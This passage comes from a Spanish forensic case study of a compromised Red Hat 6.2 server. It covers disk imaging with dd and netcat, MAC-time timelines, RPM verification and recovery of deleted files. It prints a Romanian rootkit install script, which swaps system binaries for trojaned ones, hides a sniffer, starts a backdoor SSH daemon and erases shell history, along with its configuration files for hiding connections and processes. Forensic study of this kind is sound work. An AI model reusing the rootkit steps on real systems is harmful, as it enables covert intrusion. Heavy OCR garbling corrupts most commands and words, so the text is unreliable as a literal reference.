integridad del sistema ha podido ser vulnerada por algun tipo de intrusion, es conveniente
hacer una copia con la informadon que hay en e sistema. Dependiendo e la situadon,
puede ser conveniente incluso hacer una“copia” de los procesos que se estan gjeautando en
ese momento en el equipo, del espado de intercambio (swap), de las conexiones activas,
etc.

Para redizar una copia de las particiones del sistema de ficheros, en los equipos Unix, se
puede usar e comando dd (véase 2.2.2.2. Software necesario). Las copias obtenidas pueden
ser volcadas a una particion libre del propio equipo o a un fichero (cosa poco
recomendable, ya que d contenido del sistema dacado deberia ser modificado lo menos
posible), sin embargo es preferible enviar los contenidos a otro equipo empleando , por
gjemplo, €l programa Netcat (nc, véase 2.2.2.2. Software necesario).

El siguiente gemplo muestra @mo se podriaredli zar esta @pia:

dd if=/devsda4 of = — | nc equipo_remoto —p 100

y ene equipo remoto haecer:

nc —s— 1000 > sda4

También se puede enganchar los discos a un equipo y redizar la mpia a bajo nivel,
empleando dscos duros de iguales caraderisticas (mismo modelo) y hadendo ce nuevo
una wpia abgjo nivel con dd.

dd if=/dev/sda of=/dev/sdv

En sistemas operativos como Windows NT, que no dispone de un procedimiento de backup
a bajo nivel, se puede utilizar el procedimiento empleado para sistemas Unix: arrancar €l
equipo desde un disco de rescae o instalacion de Linux/Unix (menos recomendable por
aquello de modificar datos del sistema) y proceder aredlizar la copia de los dispositivos a
bajo nivel.
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En cualquier caso, es conveniente redizar estas copias a bgjo nivel para poder restaurar 10s
datos en caso de que ocurra algin problema d analizar los ficheros, ademas esto permitira
el andlisis de los archivos, buscando |as fechas de modificadon de éstos.

Todo este proceso (es decir, los pasos dados para la cpia de los datos del sistema) deberia
guedar registrado y documentado en algun sitio de forma automatica. En estos casos €
comando script puede resultar muy Util (véase 2.2.2.2. Software necesario).

Unavezque se ha redizado la aopiay lamigracion de los datos al equipo remoto donde se
va a dectuar a andlisis, se debera proceder a la recopiladon de datos relacionados con €l
tipo de sistema operativo empleado: version del sistema operativo, particiones utilizadas,
fedha en la que se detedd € ataque, fecha en la que se desconed6 de lared y cualquier otra
modificadon que pudiese tener relevancia para d andlisis.

Para d caso de estudio que se propone lainformaadén disponible eslasiguiente:

- RedHat6 .2de faulti nstall

- Maquin ai nstalada laulti nase nanadeJ uli o( 24-27), disco
duro roto,pa rtici onesac tivas:2 (swap), 3(var) y( 4) .

- Puestae nl ared eld ia 31de Julio
- Sedescubre quehas ido atacadaeldi a5 deAgosto.

- Sebloqueaela ccesoal equipos obre las 13:15horas deld ia
6d e Agost o.

- Sequitael bloqueoys e reali zauna copiad el asp art i ci ones
(accesod esdec onsola)eld ia 7deAgosto aparti rd e las
10: 40

- Situacio6np articio nes

Partic i 6n Mont aj e I ni cio Fin
Hdal (FALSA) 1 100
Hda2 (SWAP) 101 151
Hda3 / var 152 304
Hda4 / 305 1023

- Sedis ponedeu n IDSque haca pturadot odas| as conexi ones
desde/ haci a | amaqui naat acada

Tabla 1- Datos del Sstema Atacado

Posteriormente, se procedera a montar las imagenes de las particiones para mwmenzar €l
andlisis de las mismas en € equipo remoto. Para esto se hard uso del mecanismo de loop-
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back de que dispone Linux, que permite d montaje de imagenes de particiones de sistemas
de ficheros distintos de los del propio sistema operativo.

En & caso de estudio se supondrd que d punto de montge eta en e diredorio
/home/analisis y que las particiones a analizar tienen sus correspondientes imagenes en los
ficheros raiz-hda4 y var-hda3.

nmount -or o,l oop, nodev, noexecra iz-hda4 hone/ anali sis / di sco

mount -or o, oop, nodev, noexecva r-hda3 hone/ anal i sis / di sco/ var

Tabla 2- Montaje de las particiones

Una vez montadas las particiones, se utilizad fundamentalmente el paguete TCT para
redizar el andlisis; e primer paso a dar sera la obtencién de los tiempos de
Modificacion/Acceso/Cambio (tiempos MAC). Es fundamental capturar estos tiempos
antes de emprender cuaquier acdon sobre los ficheros del equipo atacado que pueda
modificar su valor. La secuencia de aceso a los ficheros nos permitira crea una linea
temporal gque muestre |os aconteci mientos ocurridos en €l sistema.

Mediante las herramientas il s y il s2mac se podra obtener los tiempos MAC de los nodos-i
borrados de las particiones (raiz-hdad y var-hda3). El fichero resultante ser& combinado
con € fichero dbtenido tras la gecucion de graverobber sobre d sistema de ficheros
situado en home/analisis/disco., para, de esta forma, tener los tiempos MAC tanto de los
nodos-i borrados como de los nodos-i adivos. Los comandos usados para hace esto sonlos
gue detallan a continuad én:

#/ root/tct-1.07/bin/grave-robber -oL I NU2 \
-ch omd analis is/disco -m-d. /resultados

#/ root/tct-1.07/bin/ils /homd analis is/raiz-hda4d \
|/root/tct-1.07/e xtras/i | s2mac>r ai z-hda4.il sbody

#/ root/tct-1.07/bin/ils /homd analis is/var-hda3 \
|/root/tct-1.07/e xtras/i | s2mac>v ar-hda3.i | sbody

#c at raiz-hdad.i | sbody var-hda3.i | sbody >b ody-del ete d

#c at bodybo dy-del eted>b ody-full

#/ root/tct-1.07/bin/mactine -ph ome analis is/di sco/etc/ passwd \

-gh ome analis is/disco/ etc/group -bb ody-full 08/ 04/2001 \

>mact i me. t xt

Tabla 3— Comandos para dbtencién e los tiempos MAC de los ficheros
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Al final de este proceso se obtiene un listado completo (contenido en e fichero
mactime.txt) de los tiempos MAC de todos los ficheros del sistema (incluidos los borrados)
gue hayan modificado alguno de sus tiempos MAC desde 04/08/2001.

La primera accion que hay que realizar una vez que se ha obtenido los tiempos MAC es
comprobar todos los programas y ficheros de aonfiguracion instalados en e equipo.

En muchas intrusiones, 1o primero que hace é atacante e modificar 1os programas y
herramientas del sistema para ocultar su aceso; ademas, suelen modificar los ficheros de
configuraddn para crea nuevos usuarios, permitir acesos desde determinadas magquinas,
etc., de forma que puedan aaceder de una manera méas comoda d equipo con posterioridad.

Por todo lo comentado anteriormente, es conveniente que no se empleen los programas
instalados en € propio equipo, Sino versiones gue se tengan compil adas estaticamente (esto
siempre que, claro, se tenga que redizar € andlisis ©bre e mismo equipo atacalo y no se
pueda usar otro sistema para redizarlo). EIl motivo de utilizar ficheros compilados
estaticamente es debido a que no emplean llamadas a librerias del sistema, que pueden
también ser modificadas por |os atacantes. Por esa misma razdn no es conveniente que se
emplee € sistema operativo de la maguina d@acala, ya que d propio sistema operativo
puede ser modificado mediante modulos para ocultar |os procesos y ficheros ddl atacante.
Sin embargo, aunque se usen programas compil ados estéticamente, esto no evita que la
informaddn mostrada pueda ser errdnea, ya que existen rootkits que pueden modificar,
mediante modulos, al propio nicleo del sistema operativo. Un gjemplo seriaadore ([21]).

Si no se dispone de una base de datos de integridad en un dispaositivo externo para poder
comprobar la integridad de los ficheros (ayudandose de herramientas como, por gjemplo,
Tripwire), se pueden usar técnicas como:

» Comparar los ficheros binarios existentes en el sistema con los de la instaladon
origina (cuando no estén empaguetados) o con los que hay en otro equipo con la
mismaversion del sistema operativo y parches, empleando el comando cmp.

» Muchos sstemas operativos disponen de un sistema de verificacion de los paquetes
instalados. La base de datos £ mantiene en € propio equipo (por lo que d atacate
puede modificarla) pero de todas maneras puede ser empleada muchas veces para
comprobar qué ficheros s han modificado.

Aunqgue es habitual que algunos ficheros cambien de permisos o de contenido, por
gjemplo a afadir usuarios a fichero de password, agunas instaladones cambian los
formatos, etc., sin embargo no suele ser habitual que comandas como /bin/ls sean
modificados, |0 que puede indicar que se trata de una version troyanizada.

Para comprobar la @nsistencia de los paquetes instalados en e sistema a@acado, buscando,

espedamente, errores de chequeo de md5, se usara la utilidad rpm con las opciones

adeauadas. Obsérvese que d ser, tanto la maquina a@acada como la méquina donde se

rediza @ andlisis, sistemas Linux es posible utilizar rpm, ya que no existe ningun tipo de
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incompatibilidad (para ser més exados, no todos los gstemas Linux utilizan paquetes rpm,
algunos como Debian o Sackware no lo hacen; sin embargo todos suelen tener algin
mecanismo que permita la verificacion de los paguetes instalados). Si por €l contrario €
sistema aacalo fuera, por giemplo, FreeBSD no seria posible la verificacion de pagquetes
mediante esta herramienta, puesto que FreeBSD utili za pkgchk para la verificadén de la
integridad de los paguetes instalados. También es importante hacer notar que para que rpm
utili ce la base de datos de la particion montada, y no la base local de equipo sobre d que se
monta la particion, se debe indicar laruta que tiene que tomar como base para la blsqueda
(opcion --root).

rpm-V -a --root=hone/analisis /disco/>co nsistencia_rpm

Tabla 4— Verificacién de los paquetes del sistema

Del fichero generado anteriormente seran seleccionadas agquellas entradas que contengan
elementos modificados en cuanto a su tamarfio, asu modo y a d checksum asociado.
Lalistaobtenida eslaque se detalla a ©ntinuad én:

catco nsistencia rpmj|gr ep” .5
S.5... .Tcle tcl/services

.Tcle tc/localtime

.Tcle tcl/info-dir

.Tcle tc/mine.types

.Tcle tc/httpd/conf/htt pd. conf
.T Jusr/li b/unb-schemd slibcat
.Tcle tcl/in etd. conf

.Tcle tc/rc.d/rc.sysinit
.Tcle tc/sysconfig/pcmd a

.T /bin/netstat

.T /s binfi fconfig

SMb... . T /bin/ps

SMb... . T Jusr/bin/top

S.5... .Tcle tc/pamd/rlo gin

o o o o oa oo aa oo

S5 . .T /var/lo g/sendmail .st
S.5... .Tcle tc/syslog.conf
S.5....T Jusr/sbin/tcpd
S.5... .Tcle tc/pamd/login
SMb. .. .Tcl/e tc/ft paccess
S.5... .Tc /etc/ ftpusers

Tabla 5— Salida dela verificacion de los paquetes del sistema
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Observando los ficheros que han sido modificados (los ficheros de configuracion, marcados
con unac, se verdn mas tarde) es posible gredar que se han cambiado algunos programas
gue, tipicamente, permiten la monitorizadén de lo que estd pasando dentro y fuera del
sistema, 0 que permiten el acceso externo al sistema. A saber:

* netstat

» ifconfig
* ps

* top

* tcpd

Lamodificacion de estos ficheros sugiere la posibilidad de lainstaladon de un rootkit en el
sistema. Esta hipdtesis ra analizada mas adelante, cuando se proceda a estudio de los
ficheros modificados y se revisen las actividades que han quedado registradas.

Otro dato que también se puede destacar es que d flag T (que indicasi se ha modificado €
timestap de un fichero) esta adivo en todos los ficheros modificados, 1o cua conduce a
pensar que d atacante no se preocupo por ocultar cudndo se modificaron los ficheros (esto
puede servir para cmprobar s la hipdtesis de la instalacion del rootkit es cierta, puesto
gue si los programas han sido modificados por €l atacante estara reflejado en € fichero
mactime.txt que ha sido generado anteriormente)

Un método para saber s los ficheros modificados son versiones troyanizadas de los
originales es examinar los ficheros sospechosos buscando cadenas que delaten esta
posibilidad. Aungue este sistema no suele dar buenos resultados § no se @noce los
ficheros originales.

Haciendo uso del comando strings de Linux, se andizaon los ficheros binarios que
aparedan como modificados para buscar cadenas de texto imprimibles dentro de éstos que
puedan resultar inusuales.

» [bin/netstat

El resultado que se obtuvo trasla gecucion del comando strings fue € siguiente:
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#stri ngs -ah ome anal is i s/ di sco/bin /netstat> strings_netst at

#c at strings_netstat

Source:n et-tools 1.32-al pha net-tool s@ i na.in ka. de( BerndE ckenfels)
Ker nel source:2 .0. 35

netstatl .19 (1996-05-17)

Fred Baungart en<d c6i g@n sul.e tec. uni -karl sruhe. de>a nd Al an Co x.

/ dev/x dt a

/ dev/r oute

net sta t

%:nos upportf or® %' ont hiss ystem

Net | in kK ernel M essages

Tabla 6 —Sdida del comando strings sobre netstat.

S se eaminan detenidamente las cadenas obtenidas, hay una entrada que parece
sospechasa y que hace referencia aun fichero que no es habitual por su ubicadon 'y por
su nombre: /dev/xdta.

Al parece puede tratarse de un fichero de cnfiguracion para este programa, ya que d
contenido® del mismo es el siguiente:

#c at hone/anal i si s/ di sco/dev/ xdta
11 94. ###. #i#. ###

11 94. ###. #i#. ###

11 94. ###. ###. ###

11 94. ###. #i##. ###

1 h o#####. #iH#

2 h o#t##H. Hit#

3509311

! Las direciones IP que garecen han sido ocultadas para salvaguardar el anorimato. En el resto del
documento se enplead d mismo criterio
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35 9388
33 1471
351211
351212
351213
351214
46 660
46 666
46 667
46 668
46 669
47 000
43 1337
45 555
43 1336

(Conti nuaci 6n)

Tabla 7— Contenido del fichero /devixdta

Las entradas precedidas de un "1" indican que se oculten todas las conexiones

redizadas aladireccién remota @rrespondiente.

Asi mismo, € "3" y & "4" indican que no se muestren (se oculten) las conexiones

desde/hada d puerto asociado.

Parece claro que, a la vista de estos datos, se trata de un version troyanizada del

programa, cuyo objetivo es ocultar determinadas conexiones

Otra acion interesante que se puede llevar a cdo en obtener los nombres asociados a
las direccion IP. El comando nslookup puede ayudar en esta labor, ya que permite hace

transformadones en ambas sentidos; |P « Nombre.

194. ###. #H## # ##
194. ###. ##H#H # ##
194. ###. ### # ##
194. ###. ##H#H # ##
ho#####. #it#

S1#.# #HHBHH#E. #HE
SO. HHHBHHAH. HE
S8. #HHHAHHH. #H
ST. HHHBHHA#. #E#
63. #H##. #HHH#H H#H ##

Tabla 8— Sdida de nslookup
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» [sbin/ifconfig

Al aplicar a este fichero el comando strings, no apared6 ninguna cadena garentemente
extrafia que pudiese delatar la presencia de dgun fichero de @nfiguradon. Sin
embargo, se pudo diservar que no apareda la cadena PROMISC (esta cadena es
utili zada por e programa paraindicar que unainterfaz de red esta ex modo promiscuo),
lo cual puede indicar que este fichero no dara ninguna informacion sobre las tarjetas de
red que se encuentren en modo promiscuo (con el més que probable objetivo de ocultar
alglin programa en el sistema que requiera de la utilizadon de la tarjeta en este modo:
un sniffer, por geemplo).

» [bin/ps

La geaucion del comando strings sobre ps muestro la existencia de un posible fichero
de configuradén: /devixmx.

#s tri ngs -ah ome analis i s/disco/bin/ps> strings_ps

#c at strings_ps

/ dev/x nx

NR Pl D STACK ESP El P TMOUT ALARM STAT TTY TIME
COVMAND

PIDTTY MAJFLT MINFLT TRS DRS SIZE SWAP RSS SHRD LIB DT
COVMAND

PIDTTYSTAT TIME PAGEINTSIZDSIZ RSS LI M%vEM COMMAND

Tabla 9 —Sdida del comando strings sobre ps.

El contenido de ese fichero es @ que se muestra a ontinuacion:

#cat p s_config
3i n.r exedcs
3defauthsdc s
3d efauths

3r dcmound

3r dcbac

3w

3s

3p sy
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(Conti nuaci 6n)

3b ot

3s can

3wus

3k log

3create

3crush

3 s nif

3r as2xm

3s our cenmask

Tabla 10— Contenido del fichero /devxmx

Este fichero contiene un listado con todos los procesos que no seran mostrados por €l
comando ps. Cabe destaca, a menos, e nombre de uno de los procesos. snif, que
posiblemente sea un sniffer instalado por € atacante (esta informadén sera contrastada
posteriormente on € andlisis delostiempos MAC).

/usr/bin/top
Tras examinar las cadenas de texto de este fichero se ha descubierto que € fichero de

configuradon es e mismo que e que utiliza ps y, por tanto, los efedos (ocultar
determinados procesos) son |os mismos.

/usr/sbin/tcpd

Examinando las cadenas de texto que aparecen dentro de este fichero se puedo hallar
gue d fichero de configuracion que utilizaba es /dev/xdta.

PRh*

PRh2

>0 [

/ dev/x dt a
[ usr/s bin
s/ Y&

connectf rom %

Tabla 11 — Sdida del comando strings sobre tcpd.
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El contenido del fichero de configuraddn es el mismo que € utilizado para netstat. Las
direcciones IP contenidas en é constituyen una backdoor para ser utilizada a través de
tcpd.

Unavezanalizado €l codigo de los programas modificados se procedio a intentar recuperar
el contenido de los ficheros borrados (la informacion del nodo-i de wmienzo de los
ficheros borrados se puede obtener directamente del fichero mactime.txt).

Para reauperar € contenido de estos ficheros % hizo uso del comando icat; este mmando
devuelve todalainformadén que encuentra sobre d nodo-i que se le pasa @mMo parametro,
redizando la blsqueda en laimagen de la particién indicada.

/root/ tct-1.07/bin/icatv ar-hda3 12216> fich-12216
[root/ tct-1.07/bin/icatr aiz -hdad4 92962> fich-92962
/root/ tct-1.07/bin/icatr aiz -hdad4 92961> fich-92961
/root/ tct-1.07/bin/icatv ar-hda3 26422>fi ch-26422
/root/ tct-1.07/bin/icatv ar-hda3 40645> fich-40645
/root/ tct-1.07/bin/icatr aiz -hda4 2404 > fich-2404
[root/ tct-1.07/bin/icatr aiz -hdad 90629> fich-90626
[oot/t ct-1.07/bin/icatr aiz -hda4 92570> fich-92570
/root/ tct-1.07/bin/icatr aiz -hdad 92571 >f ich-92571
/root/ tct-1.07/bin/icatv ar-hda3 26421> fich-26421
/root/ tct-1.07/bin/icatr aiz -hdad4 166537 >f ich-166537
[root/ tct-1.07/bin/icatv ar-hda3 38613> fich-38613
/root/ tct-1.07/bin/icatv ar-hda3 38614> fich-38614
/root/ tct-1.07/bin/icatv ar-hda3 38615> fich-38615
/root/ tct-1.07/bin/icatv ar-hda3 38617> fich-38617

Tabla 11— Uso del comando icat para la recuperacién e ficheros borr ados.

El siguiente paso fue intentar averiguar €l tipo de adafichero (comando file) reauperado.

Lasiguiente tabla muestralainformadén relativa a caa uno de los ficheros reauperados:
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fi
fi
fi
fi
fi

fi
fi
fi
fi
fi
fi
fi
fi
fi

#cat tipos

fich-12216:1 nternationall anguage text

ch-92962: A SCI I text
ch-92961: A SCI | text
ch-26422:e npty
ch-40645:d ata

ch-2404: gzipco npressedd ata,de flated,]I
WedJu |1 119 :25:032001,0 s: Unix
ch-90626: E nglis ht ext
ch-92570: A SCI1 text
ch-92571: A SCI I text
ch-26421:e npty
ch-166537: E ngli shte xt
ch-38613: A SCI | text
ch-38614: enpty
ch-38615: A SCI | text
ch-38617: A SCI| text

astm odi fi ed:

A continuadon se procedid a examinar € contenido de todos los ficheros. Los resultados

Tabla 12 — Sdida del comando file para cada uno ce los ficheros recuperados.

mas interesantes fueron dotenidos paralos sguientes ficheros:

» fich-12216

Este fichero parece ser un trozo de un fichero

conexiones redlizadas y otros datos de interés:

de logs; en é se muestran algunas

#cat fich-12216
504:02:01te st3syslogd 1.3-3:r estart.
504:02:02te st3syslogd 1.3-3:r estart.
504:02:02te st3 syslogd 1.3-3:r estart.
504:02:02te st3syslogd 1.3-3:r estart.
504:02:02te st3syslogd 1.3-3:r estart.

Aug
Aug
Aug
Aug
Aug
Aug

50 4:22:00te st3anacron[ 4290]: Updatedt i mestampforjo b
“cron. weekly't o 2001-08-05

Aug 51 0:20:36te st3f tp d[ 6888]: A NONYMOUS FTP LOG N FRMM ca- ol -
HUHHHHE R, HH . HHHH AR B3 [ 62. #Hi#t#. ##H# # #H]

guest @ler e.c om
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(Conti nuaci 6n)
Aug 510 :20:39 test3f tpd[6 888]:F TPse ssionc |osed

Aug 516:40:23te st3f tpd[7001]: A NONYMOWBS FTP LOEd N FROM
213, ##. ##. ## [ 213. ##. ##.# #], guest @ere.com

Aug 516:40:24te st3f tpd[7001]:F TPsessionc lo sed

Aug 516:58:48te st3f tpd[ 7005]: A NONYMOWS FTP LOd N FROM
213. ##. ##. ## [ 213. ##. ##.# #] , anonynous@n. t he. net

Aug 516:58:54te st3f tpd[7005]:F TPsessionc lo sed

Aug 60 4:02:00te st3anacron[ 7182]: Updatedt i mestampforjo b
“cron.daily' to20 01-08-06

Aug 60 7:29:06te st3f tpd[7423]: A NONYMOWB FTP LOEd N FROM
pDifRHEH ] # #HE. SR #2107 . ##t#. ###. #4##] , g uest @ner e. com

Aug 60 7:29:08te st3f tpd[7423]:F TPsessionc lo sed

Aug 609:58:10te st3k ernel: snifus esob solete
(PF_IN ET, SOCK_PACKET)

Aug 609:58:10te st3k ernel: ethO: Settin gp romiscuous mode.
Aug 609 :58:10 test3k ernel:d eviceethOe nteredpr om scuous mode

Aug 61 2:39:02te st3P AM pwdb[ 7588]: ( [ o0gin)s ession opened for
user p### by (ui d=0)

ago 61 2:39:11te st3 P AM pwdb[ 7609]: ( su)s essio no penedf oru ser
root by p ###( ui d=500)

Aug 61 2:41:17 test3 ftpd[7637]: ACCESS DENED ( not inanyc |ass)
TO 130. ###. #. ## [1 30. ###. #. ###]

Aug 61 2:47:50te st3f tpd[7660]:F TP sessionc lo sed

Tabla 13 — Contenido del fichero fich-12216

Lo més interesante que muestra este fichero es que se realizaron 3 conexiones ftp desde
"OHHH R A, 203 Ay 207 A sobre d equipo. Ademaés
también se puede observar que € dispositivo red "eth0" ha sido puesto en modo
promiscuo (justo después de avisar de un mensge de snif, que posiblemente sea un
sniffer). Estos datos pueden ayudar a determinar desde donde se produjo € ataque.

fich-2404

Al tratarse de un fichero comprimido (eso es lo que indicd el comando file) se procedid
a sus descompresion. Una vez descomprimido se volvié a glicar el comando file sobre
fichero resultante, y éste indicd que se trataba de un fichero tar, cuyo contenido era d
gue se muestra a mntinuadon:
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#tar -tvffi

dr Wwxr - Xr-xr

ch-2405.t ar
oot / r oot

-rwxr-xr-xd i bona/ users

- TWK- - X- = XT

=T WXT - XTI -XT

oot / users

oot / r oot

- WXr - Xr-x3 0401/ users

- WXT - XIr-Xr

oot / users
root/ root

di bona/ users

-rWxXr - Xr-x3 0401/ users

-IWXT - XIr-Xr

=T WXT - XT-XT

STWr--T--

-IFWXT - XIr-Xr

STWr--T--

=T WXT - XTI -XTr

=T WXT - XT-XT

=T WXT - XTI -XT

=T WXT - XTI -XT

oot / r oot
oot / r oot
root/ root
oot / users
root/ root
oot / users
oot / users
oot / r oot

oot / r oot

02 001-07-111 8:
40601 999-03-051 5:
82681 999-10-161 5:

6602 000-12-112 2:
198401 998-11-252 O:
270552 000-09-152 2:

4649 2 001-07-111 9:
63 2 000-09-160 4:
353002 000-09-152 3:
332802 000-09-162 3:
221732 000-12-090 1:
282412 000-12-240 0:
71652 000-09-160 1:
3756552 001-07-111 8:
2673602 000-07-010 O:
14224 2 000-09-16 0 1:
53588 2 000- 09-16 2 3:
377112 000-12-090 1:

50:
59:
13:
52:
51:
14:
21:
20:
47:
37:
44:
07:
53:
49:
15:
23:
37:
44.

46
04
26
01
31
58
39
52
31
15
26
15
56
03
45
11
26
39

bebe/

bebe/c reat e
bebe/c rush
bebel/f tpaccess
bebel/i fconfig
bebe/i n.rexedcs
bebel/i nstall
bebe/k | og
bebe/n et st at
bebel/p s

bebels

bebe/s c.tar.g z
bebe/s ni f

bebe/s sh.tar. gz
bebe/s ysl ogd
bebe/t cpd

bebel/t op

bebe/w

Sin lugar a dudas € fichero contiene un rootkit; pero todavia més, si se echa un vistazo
a fichero intall se podra comprobar que se trata de un script de instalacion ce estos
programas, que muestra paso a paso todo lo que se hizo en e sistema (incluida la
instalacion de un sniffer, de un programa de escaneo de puertos y de ssh para la

Tabla 14 —Listado d&l contenido el fichero fich-2404

encriptadon de las comunicadones)

El contenido del fichero install es el siguiente:
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cle ar

echo ‘"Ins talareaa incep utavet i rabdar e..."
echo "Inl ocuimn etstat, ps, ifc  onfig,t op..."
USERID="id -u

echo "--- In stalarease fac e iNnROO T mode?"
if [ $USERID -eq 0 ]

the n

echo "+++D a ,put emconti nua"

els e

echo "+++ N ope,in stalarea se fac e inshe ||I$USE RD"
echo "Asta iiunR OOTKITd obitocu |esitr ebuies a abau id=0"
exi t

fi

chownroot. root*

cp/ usr/bin/  crontab /usr/bi n/ct

rm -rf /sbin/if  config

myv i fconfig /sbin/ i fconfig

rm -rf /bin/net stat

mv netstat  / bin/ne t stat

rm -rf /bin/ps

mv ps/bin/  ps

rm -rf /usr/bin /top

mv top/usr /binfto p

rm -rf /usr/sbi ni/tcpd

mv tcpd/us r/sbin/ tcpd

kil lall -9i n.rexe dcs

kil lall -9d efauths dcs

kil lall -9d efauths

ki lall -91 pd

kil lall -9r pc.statd

kil lall -9p ortmap

kil lall -9p sybnc

mv i nrexed cs/usr /sbin/fin .rexedc s

lus r/sbin/i  n.rexed cs&

chmod 755/ usr/bin / crontab

chmod 755/ usr/sbi n/userhe | per

rm -rf /usr/sbi n/sy slo gd

mv syslogd /usr/sb in/syslo gd

echo "[OK 1"

echo -n" Creamfi sierele /dev .. . sias cundem programele..."
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tou ch /dev/
>/d ev/xmx

"3 in.

"3 def
"3 def
"3 rdc
"3 rdc

echo
echo
echo
echo
echo
echo "3w"
echo "3s"
echo "3 psy
echo "3 bot
echo "3 sca
echo "3 wus
echo "3 klo
echo "3cre
echo "3cru
echo "3 snif"
echo "3ras
echo "3 sou
tou ch /dev/

>/d ev/xdta

"1194
"1194
"1194
"1194
"1194
"1 ho#
"2 hob
"3593
"3 593
"3 314
"3512
"3512
"3512
"3512
"4 666
"4 666
"4 666

"4 666

echo
echo
echo
echo
echo
echo
echo
echo
echo
echo
echo
echo
echo
echo
echo
echo
echo

echo

Xmx

r exedcs
auths d
auths"

nmound”
bac" >>
>>/dev/
>>/dev/
" >>/de
" >>/de
n">>/d
" >>/de
g" >>/d
ate" >>

sh" >>/

(Co ntinuaci

" >>/dev / xmx
cs">>/d ev/xmx
>>/dev/x nx
>>/ dev/ xmx

/ dev/ixmx

XmX

XmXx

v/IXmx

v/Xmx

ev/xmx

v/Xmx

ev/xmx

/ dev/ixmx

dev/xmx

>>[/dev [/ xmx

2xm" >>

r cemask"

xdta

. HHH B
. HHH B
. HHH B
. HHH B
. HHH B
HiHH
HiHH #
11" >>/

88" >>/

71" >>/

11" >>/

12" >>/

13"
14" >>/
0" >>/d
6" >>/d
7" >>/d
8" >>/d

| dev/xmx

>>/dev / xmx

#.4H#" > >/devix dta

#.4HH#" > >/devix dta

#.44H#" > >/devix dta

#.44H#" > >/devix dta

#.44H#" > >/devix dta

##" >>/d  ev/xdta
##" >>/d  ev/xdta
dev/xdta
dev/xdta
dev/xdta
dev/xdta

dev/xdta

>>/ dev/xdta

dev/xdta
ev/xdta
ev/xdta
ev/xdta

ev/xdta

6n)
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(Continuaci  6n)
echo "4666 9">>/d ev/xdta
echo "4700 0">>/d ev/xdta
echo "4 313 37" >>/dev/x dta
echo "4555 5">>/d ev/xdta
echo "4 313 36">>/ dev/xdta

echo "[OK 1"
echo "Desfa cem SSH-ul. .."

echo

rm -rf  /usr/sbi n/fras2x m

rm -rf /usr/bin /ras2xm

gzi p -ds shtarg z
tarxvf ssh .tar -C/

/us r/bin/ma ke- ssh - host - key

echo "[OK 1"

echo "Inst ala m snifer ulsic reamdir ectorul hidden"

echo

if [ -x/ usr/man/]

the n echo" /usr/ma n/exist a..nu mai tre buiecr eat"
els e mkdir /usr/ma n

fi

if [ -x/ usr/man/ nmanl/]

the n echo" /usr/ma n/manl/ exista. ..numa i trebu i e creat

els e mkdir /usr/ma n/manl/

fi

if[ -x/ ust/man/ manl/. . /]

the n echo" /usr/ma n/manl/* .. "/ exista. . numai trebui
els e mkdir /usr/ma n/manl/* .. "/

fi

if [ -x/ ust/man/ manl/. . "Ldi r/]

the n echo" /usr/ma n/manl/* .. "/. dir/exi sta.. nu mai t
els e mkdir /usr/m an/ manl/".. “ldi o or/

fi

mv snif fus  r/man/m anl/".. “/.dir / snif

mv klog /us r/man/m anl/".. “/.dir / klog

mv crush /u sr/man/ manl/". “I.di  r/crush

mv create/ ust/man /manl/'. . "/l.d ir/creat e

mv s /ust/m an/manl/". "/ . dir/s

mv w /ust/m an/manl/". "/ Ldirl w

mv sc.tar.,g z /usr/ man/manl/". "l. dir/sc.t  ar.gz

mv ftpacces s fusr/ man/manl/". " [/ .dir/ft paccess

e creat

r ebuie

creat"
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(Continuaci  6n)
chmod 755/ usr/man /mani/®. . "/ dir
echo "[OK ] Putet i sava pedepsi tidusma niiprii n FLOODi ncepand de acu ma"
echo
echo -n" Stergem fis ier ulroot. bash_hi story"
echo
echo "--- Li nkuim/r oot/.ba sh_histo rycu/ dev/null.."
echo
rm -rf /root/.b ash_his tory
In -s/ dev/null /root/ . bash_hi story
rm -rf /.bash_h i story
echo "+++[ OK]T otulin regula cufisie rul/ro ot/.bash _histor y .."
echo -n" Creareaport uluise cretde SSHapr oapegat a..."
echo
kil Tall -9r as2xm
/us r/binfra  s2xm -p2 120 -q
rm -rf /etc/ftp access
cd /usr/man / manl/* .. "/.d ir/
Js nif >chi  psul &
cp ftpacces s Jetc/
rm -rf ftpacces s
tar -xvzf sctar .gz

rm -rf sctarg z

mv chipsul | og
echo -n" --- Snifferaf ostpor nitcus uccess --- "
echo

echo "/usr/ bin/sou rcemask">>/etc /rc.d/rc .sysini t
echo "secu rizare.

echo anonymous >> /etc/ftp users

kil lall -9p ortmap

kil lall -9r pc.statd

kil lall -9p ortmap

rm -rf /usr/sbi n/rpc.s tatd

rm -rf /usr/sbi n/portm ap

rm -rf /sbn/rpc . statd

rm -rf /shin/po rtmap

rm -rf /etc/rc. dirc2.d [/ *portma
rm -rf /[etc/rc. d/rc3.d [/ *portma

rm -rf /etc/rc. dircd.d [ *portma

O T T T

rm -rf /etc/rc. d/rc5.d /*portma

Tabla 15 — Contenido del fichero intall
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En estos casos auele ser interesante buscar informadon en la red para comprender e
interpretar € significado de los comandos que garecen en el script de instalacion.

Un buen sitio donde es posible hallar € codigo fuente y comentarios de un conjunto de
programas que forman un rootkit esen [25].

Por otro lado, € fichero de instaladon permitié obtener un listado completo de los ficheros
binarios instaados que no formaban parte de un paquete rpm (y, por tanto, no aparedan
como modificados a efeduar la verificacion de paquetes).
A continuacion analizamos algunos de dlos:
» create [ Es un script en perl que se ercaga ordenar la salida obtenida por
"LinSniffer 0.03 [BETA] by Mike Edulla <medulla@infosoc.com>", que e un
sniffer de red cuyo cédigo fuente se puede obtener en [26].

» crush [ Programapara alivinar passvords.

» inrexdcs O Es un servidor que proporciona facilidades para la gecuciéon remota
con autenticacion besada en nombres de usuarios y passwords.

» s [0 Programadestinado alanzar ataques contra otros hosts.

> W O Cliente wuftp, que reemplaza al ftp tradicional.

» snif O Sniffer de red. Més concretamente, es el sniffer estandar li nsniff.
» sydogd [O Versiéntroyanizadade demonio del mismo nombre. radas.

» sctar.gz 0 Paguete para @ escaneo de puertos.

» sshitar.gz O Paquete paralautilizadon de ssh.

Una vez obtenida una informacién basica inicia de lo que habia pasado en € equipo, se
procedio a andizar la informacién proporcionada por e fichero de tiempos para intentar
establece unalineatemporal que mostraratodo lo que haocurrido en el sistema.

La primera informacion interesante (un aca@so a sistema via FTP) que mostraba d fichero
de tiempos MAC se remontaba a 5 de Agosto a las 18:58:50 horas. Este aceso al sistema
quedo reflgjado tanto por la modificacion del tiempos MAC de los ficheros passvord y
group asociados a directorio correspondiente del ftp, como pa € uso de las librerias
dinémicas utili zadas por ftp.
